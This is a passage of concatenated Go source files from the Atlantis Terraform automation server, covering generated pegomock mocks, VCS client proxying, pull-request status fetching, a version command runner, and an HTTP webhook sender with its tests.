pull[len(pull)-1], vcsstatusname[len(vcsstatusname)-1], ignoreVCSStatusNames[len(ignoreVCSStatusNames)-1] } func (c *MockClient_PullIsMergeable_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 [][]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([][]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.([]string) } } } return } func (verifier *VerifierMockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) *MockClient_ReactToComment_OngoingVerification { _params := []pegomock.Param{logger, repo, pullNum, commentID, reaction} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ReactToComment", _params, verifier.timeout) return &MockClient_ReactToComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_ReactToComment_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_ReactToComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, int64, string) { logger, repo, pullNum, commentID, reaction := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], commentID[len(commentID)-1], reaction[len(reaction)-1] } func (c *MockClient_ReactToComment_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []int64, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]int, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(int) } } if len(_params) > 3 { _param3 = make([]int64, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(int64) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } func (verifier *VerifierMockClient) SupportsSingleFileDownload(repo models.Repo) *MockClient_SupportsSingleFileDownload_OngoingVerification { _params := []pegomock.Param{repo} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SupportsSingleFileDownload", _params, verifier.timeout) return &MockClient_SupportsSingleFileDownload_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_SupportsSingleFileDownload_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetCapturedArguments() models.Repo { repo := c.GetAllCapturedArguments() return repo[len(repo)-1] } func (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.Repo) } } } return } func (verifier *VerifierMockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) *MockClient_UpdateStatus_OngoingVerification { _params := []pegomock.Param{logger, repo, pull, state, src, description, url} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateStatus", _params, verifier.timeout) return &MockClient_UpdateStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockClient_UpdateStatus_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } func (c *MockClient_UpdateStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, string, string, string) { logger, repo, pull, state, src, description, url := c.GetAllCapturedArguments() return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], state[len(state)-1], src[len(src)-1], description[len(description)-1], url[len(url)-1] } func (c *MockClient_UpdateStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []string, _param5 []string, _param6 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } if len(_params) > 3 { _param3 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(models.CommitStatus) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } if len(_params) > 5 { _param5 = make([]string, len(c.methodInvocations)) for u, param := range _params[5] { _param5[u] = param.(string) } } if len(_params) > 6 { _param6 = make([]string, len(c.methodInvocations)) for u, param := range _params[6] { _param6[u] = param.(string) } } } return } ================================================ FILE: server/events/vcs/mocks/mock_pull_req_status_fetcher.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: PullReqStatusFetcher) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockPullReqStatusFetcher struct { fail func(message string, callerSkip ...int) } func NewMockPullReqStatusFetcher(options ...pegomock.Option) *MockPullReqStatusFetcher { mock := &MockPullReqStatusFetcher{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPullReqStatusFetcher) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPullReqStatusFetcher) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPullReqStatusFetcher().") } _params := []pegomock.Param{logger, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("FetchPullStatus", _params, []reflect.Type{reflect.TypeOf((*models.PullReqStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.PullReqStatus var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.PullReqStatus) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockPullReqStatusFetcher) VerifyWasCalledOnce() *VerifierMockPullReqStatusFetcher { return &VerifierMockPullReqStatusFetcher{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPullReqStatusFetcher) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullReqStatusFetcher { return &VerifierMockPullReqStatusFetcher{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPullReqStatusFetcher) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullReqStatusFetcher { return &VerifierMockPullReqStatusFetcher{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPullReqStatusFetcher) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullReqStatusFetcher { return &VerifierMockPullReqStatusFetcher{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPullReqStatusFetcher struct { mock *MockPullReqStatusFetcher invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification { _params := []pegomock.Param{logger, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "FetchPullStatus", _params, verifier.timeout) return &MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification struct { mock *MockPullReqStatusFetcher methodInvocations []pegomock.MethodInvocation } func (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest) { logger, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], pull[len(pull)-1] } func (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.PullRequest) } } } return } ================================================ FILE: server/events/vcs/not_configured_vcs_client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package vcs import ( "fmt" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) // NotConfiguredVCSClient is used as a placeholder when Atlantis isn't configured // on startup to support a certain VCS host. For example, if there is no GitHub // config then this client will be used which will error if it's ever called. type NotConfiguredVCSClient struct { Host models.VCSHostType } func (a *NotConfiguredVCSClient) GetModifiedFiles(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, a.err() } func (a *NotConfiguredVCSClient) CreateComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return a.err() } func (a *NotConfiguredVCSClient) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return nil } func (a *NotConfiguredVCSClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { // nolint: revive return nil } func (a *NotConfiguredVCSClient) PullIsApproved(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) (models.ApprovalStatus, error) { return models.ApprovalStatus{}, a.err() } func (a *NotConfiguredVCSClient) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error { return nil } func (a *NotConfiguredVCSClient) PullIsMergeable(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { return models.MergeableStatus{}, a.err() } func (a *NotConfiguredVCSClient) UpdateStatus(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { return a.err() } func (a *NotConfiguredVCSClient) MergePull(_ logging.SimpleLogging, _ models.PullRequest, _ models.PullRequestOptions) error { return a.err() } func (a *NotConfiguredVCSClient) MarkdownPullLink(_ models.PullRequest) (string, error) { return "", a.err() } func (a *NotConfiguredVCSClient) err() error { return fmt.Errorf("atlantis was not configured to support repos from %s", a.Host.String()) } func (a *NotConfiguredVCSClient) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { return nil, a.err() } func (a *NotConfiguredVCSClient) SupportsSingleFileDownload(_ models.Repo) bool { return false } func (a *NotConfiguredVCSClient) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) { return true, []byte{}, a.err() } func (a *NotConfiguredVCSClient) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { return "", a.err() } func (a *NotConfiguredVCSClient) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, a.err() } ================================================ FILE: server/events/vcs/proxy.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package vcs import ( "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) // ClientProxy proxies calls to the correct VCS client depending on which // VCS host is required. type ClientProxy struct { // clients maps from the vcs host type to the client that implements the // api for that host type, ex. github -> github client. clients map[models.VCSHostType]Client } func NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClient Client, bitbucketServerClient Client, azuredevopsClient Client, giteaClient Client) *ClientProxy { if githubClient == nil { githubClient = &NotConfiguredVCSClient{} } if gitlabClient == nil { gitlabClient = &NotConfiguredVCSClient{} } if bitbucketCloudClient == nil { bitbucketCloudClient = &NotConfiguredVCSClient{} } if bitbucketServerClient == nil { bitbucketServerClient = &NotConfiguredVCSClient{} } if azuredevopsClient == nil { azuredevopsClient = &NotConfiguredVCSClient{} } if giteaClient == nil { giteaClient = &NotConfiguredVCSClient{} } return &ClientProxy{ clients: map[models.VCSHostType]Client{ models.Github: githubClient, models.Gitlab: gitlabClient, models.BitbucketCloud: bitbucketCloudClient, models.BitbucketServer: bitbucketServerClient, models.AzureDevops: azuredevopsClient, models.Gitea: giteaClient, }, } } func (d *ClientProxy) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { return d.clients[repo.VCSHost.Type].GetModifiedFiles(logger, repo, pull) } func (d *ClientProxy) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { return d.clients[repo.VCSHost.Type].CreateComment(logger, repo, pullNum, comment, command) } func (d *ClientProxy) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { return d.clients[repo.VCSHost.Type].HidePrevCommandComments(logger, repo, pullNum, command, dir) } func (d *ClientProxy) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { return d.clients[repo.VCSHost.Type].ReactToComment(logger, repo, pullNum, commentID, reaction) } func (d *ClientProxy) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { return d.clients[repo.VCSHost.Type].PullIsApproved(logger, repo, pull) } func (d *ClientProxy) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { return d.clients[repo.VCSHost.Type].DiscardReviews(logger, repo, pull) } func (d *ClientProxy) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) { return d.clients[repo.VCSHost.Type].PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames) } func (d *ClientProxy) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { return d.clients[repo.VCSHost.Type].UpdateStatus(logger, repo, pull, state, src, description, url) } func (d *ClientProxy) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { return d.clients[pull.BaseRepo.VCSHost.Type].MergePull(logger, pull, pullOptions) } func (d *ClientProxy) MarkdownPullLink(pull models.PullRequest) (string, error) { return d.clients[pull.BaseRepo.VCSHost.Type].MarkdownPullLink(pull) } func (d *ClientProxy) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { return d.clients[repo.VCSHost.Type].GetTeamNamesForUser(logger, repo, user) } func (d *ClientProxy) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) { return d.clients[repo.VCSHost.Type].GetFileContent(logger, repo, branch, fileName) } func (d *ClientProxy) SupportsSingleFileDownload(repo models.Repo) bool { return d.clients[repo.VCSHost.Type].SupportsSingleFileDownload(repo) } func (d *ClientProxy) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { return d.clients[VCSHostType].GetCloneURL(logger, VCSHostType, repo) } func (d *ClientProxy) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { return d.clients[repo.VCSHost.Type].GetPullLabels(logger, repo, pull) } ================================================ FILE: server/events/vcs/pull_status_fetcher.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package vcs import ( "fmt" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate github.com/runatlantis/atlantis/server/events/vcs --package mocks -o mocks/mock_pull_req_status_fetcher.go PullReqStatusFetcher type PullReqStatusFetcher interface { FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error) } type pullReqStatusFetcher struct { client Client vcsStatusName string ignoreVCSStatusNames []string } func NewPullReqStatusFetcher(client Client, vcsStatusName string, ignoreVCSStatusNames []string) PullReqStatusFetcher { return &pullReqStatusFetcher{ client: client, vcsStatusName: vcsStatusName, ignoreVCSStatusNames: ignoreVCSStatusNames, } } func (f *pullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (pullStatus models.PullReqStatus, err error) { approvalStatus, err := f.client.PullIsApproved(logger, pull.BaseRepo, pull) if err != nil { return pullStatus, fmt.Errorf("fetching pull approval status for repo: %s, and pull number: %d: %w", pull.BaseRepo.FullName, pull.Num, err) } mergeable, err := f.client.PullIsMergeable(logger, pull.BaseRepo, pull, f.vcsStatusName, f.ignoreVCSStatusNames) if err != nil { return pullStatus, fmt.Errorf("fetching mergeability status for repo: %s, and pull number: %d: %w", pull.BaseRepo.FullName, pull.Num, err) } return models.PullReqStatus{ ApprovalStatus: approvalStatus, MergeableStatus: mergeable, }, err } ================================================ FILE: server/events/vcs/vcs.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package vcs ================================================ FILE: server/events/version_command_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "github.com/runatlantis/atlantis/server/events/command" ) func NewVersionCommandRunner( pullUpdater *PullUpdater, prjCmdBuilder ProjectVersionCommandBuilder, prjCmdRunner ProjectVersionCommandRunner, parallelPoolSize int, silenceVCSStatusNoProjects bool, ) *VersionCommandRunner { return &VersionCommandRunner{ pullUpdater: pullUpdater, prjCmdBuilder: prjCmdBuilder, prjCmdRunner: prjCmdRunner, parallelPoolSize: parallelPoolSize, silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, } } type VersionCommandRunner struct { pullUpdater *PullUpdater prjCmdBuilder ProjectVersionCommandBuilder prjCmdRunner ProjectVersionCommandRunner parallelPoolSize int // SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects // are found silenceVCSStatusNoProjects bool } func (v *VersionCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) { var err error var projectCmds []command.ProjectContext projectCmds, err = v.prjCmdBuilder.BuildVersionCommands(ctx, cmd) if err != nil { ctx.Log.Warn("Error %s", err) } if len(projectCmds) == 0 { ctx.Log.Info("no projects to run version in") return } // Only run commands in parallel if enabled var result command.Result if v.isParallelEnabled(projectCmds) { ctx.Log.Info("Running version in parallel") result = runProjectCmdsParallelGroups(ctx, projectCmds, v.prjCmdRunner.Version, v.parallelPoolSize) } else { result = runProjectCmds(projectCmds, v.prjCmdRunner.Version) } v.pullUpdater.updatePull(ctx, cmd, result) } func (v *VersionCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool { return len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled } ================================================ FILE: server/events/webhooks/http.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package webhooks import ( "bytes" "encoding/json" "fmt" "io" "net/http" "regexp" "github.com/runatlantis/atlantis/server/logging" ) // HttpWebhook sends webhooks to any HTTP destination. type HttpWebhook struct { Client *HttpClient WorkspaceRegex *regexp.Regexp BranchRegex *regexp.Regexp URL string } // Send sends the webhook to URL if workspace and branch matches their respective regex. func (h *HttpWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error { if !h.WorkspaceRegex.MatchString(applyResult.Workspace) || !h.BranchRegex.MatchString(applyResult.Pull.BaseBranch) { return nil } if err := h.doSend(applyResult); err != nil { return fmt.Errorf("sending webhook to %q: %w", h.URL, err) } return nil } func (h *HttpWebhook) doSend(applyResult ApplyResult) error { body, err := json.Marshal(applyResult) if err != nil { return err } req, err := http.NewRequest("POST", h.URL, bytes.NewBuffer(body)) if err != nil { return err } req.Header.Set("Content-Type", "application/json") for header, values := range h.Client.Headers { for _, value := range values { req.Header.Add(header, value) } } resp, err := h.Client.Client.Do(req) if err != nil { return err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { respBody, _ := io.ReadAll(resp.Body) return fmt.Errorf("returned status code %d with response %q", resp.StatusCode, respBody) } return nil } // HttpClient wraps http.Client allowing to add arbitrary Headers to a request. type HttpClient struct { Client *http.Client Headers map[string][]string } ================================================ FILE: server/events/webhooks/http_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package webhooks_test import ( "net/http" "net/http/httptest" "regexp" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/webhooks" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) var httpApplyResult = webhooks.ApplyResult{ Workspace: "production", Repo: models.Repo{ FullName: "runatlantis/atlantis", }, Pull: models.PullRequest{ Num: 1, URL: "url", BaseBranch: "main", }, User: models.User{ Username: "lkysow", }, Success: true, } func TestHttpWebhookWithHeaders(t *testing.T) { expectedHeaders := map[string][]string{ "Authorization": {"Bearer token"}, "X-Custom-Header": {"value1", "value2"}, } server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { Equals(t, r.Header.Get("Content-Type"), "application/json") for k, v := range expectedHeaders { Equals(t, r.Header.Values(k), v) } w.WriteHeader(http.StatusOK) })) defer server.Close() webhook := webhooks.HttpWebhook{ Client: &webhooks.HttpClient{Client: http.DefaultClient, Headers: expectedHeaders}, URL: server.URL, WorkspaceRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), } err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) Ok(t, err) } func TestHttpWebhookNoHeaders(t *testing.T) { server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { Equals(t, r.Header.Get("Content-Type"), "application/json") w.WriteHeader(http.StatusOK) })) defer server.Close() webhook := webhooks.HttpWebhook{ Client: &webhooks.HttpClient{Client: http.DefaultClient}, URL: server.URL, WorkspaceRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), } err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) Ok(t, err) } func TestHttpWebhook500(t *testing.T) { server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusInternalServerError) })) defer server.Close() webhook := webhooks.HttpWebhook{ Client: &webhooks.HttpClient{Client: http.DefaultClient}, URL: server.URL, WorkspaceRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), } err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) ErrContains(t, "sending webhook", err) } func TestHttpNoRegexMatch(t *testing.T) { server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { Assert(t, false, "webhook should not be sent") })) defer server.Close() tt := []struct { name string wr *regexp.Regexp br *regexp.Regexp }{ { name: "no workspace match", wr: regexp.MustCompile("other"), br: regexp.MustCompile(".*"), }, { name: "no branch match", wr: regexp.MustCompile(".*"), br: regexp.MustCompile("other"), }, } for _, tc := range tt { t.Run(tc.name, func(t *testing.T) { webhook := webhooks.HttpWebhook{ Client: &webhooks.HttpClient{Client: http.DefaultClient}, URL: server.URL, WorkspaceRegex: tc.wr, BranchRegex: tc.br, } err := webhook.Send(logging.NewNoopLogger(t), httpApplyResult) Ok(t, err) }) } } ================================================ FILE: server/events/webhooks/mocks/mock_sender.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: Sender) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockSender struct { fail func(message string, callerSkip ...int) } func NewMockSender(options ...pegomock.Option) *MockSender { mock := &MockSender{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockSender) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSender().") } _params := []pegomock.Param{log, applyResult} _result := pegomock.GetGenericMockFrom(mock).Invoke("Send", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockSender) VerifyWasCalledOnce() *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSender { return &VerifierMockSender{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockSender struct { mock *MockSender invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) *MockSender_Send_OngoingVerification { _params := []pegomock.Param{log, applyResult} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Send", _params, verifier.timeout) return &MockSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSender_Send_OngoingVerification struct { mock *MockSender methodInvocations []pegomock.MethodInvocation } func (c *MockSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) { log, applyResult := c.GetAllCapturedArguments() return log[len(log)-1], applyResult[len(applyResult)-1] } func (c *MockSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]webhooks.ApplyResult, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(webhooks.ApplyResult) } } } return } ================================================ FILE: server/events/webhooks/mocks/mock_slack_client.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: SlackClient) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" webhooks "github.com/runatlantis/atlantis/server/events/webhooks" "reflect" "time" ) type MockSlackClient struct { fail func(message string, callerSkip ...int) } func NewMockSlackClient(options ...pegomock.Option) *MockSlackClient { mock := &MockSlackClient{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockSlackClient) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockSlackClient) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockSlackClient) AuthTest() error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSlackClient().") } _params := 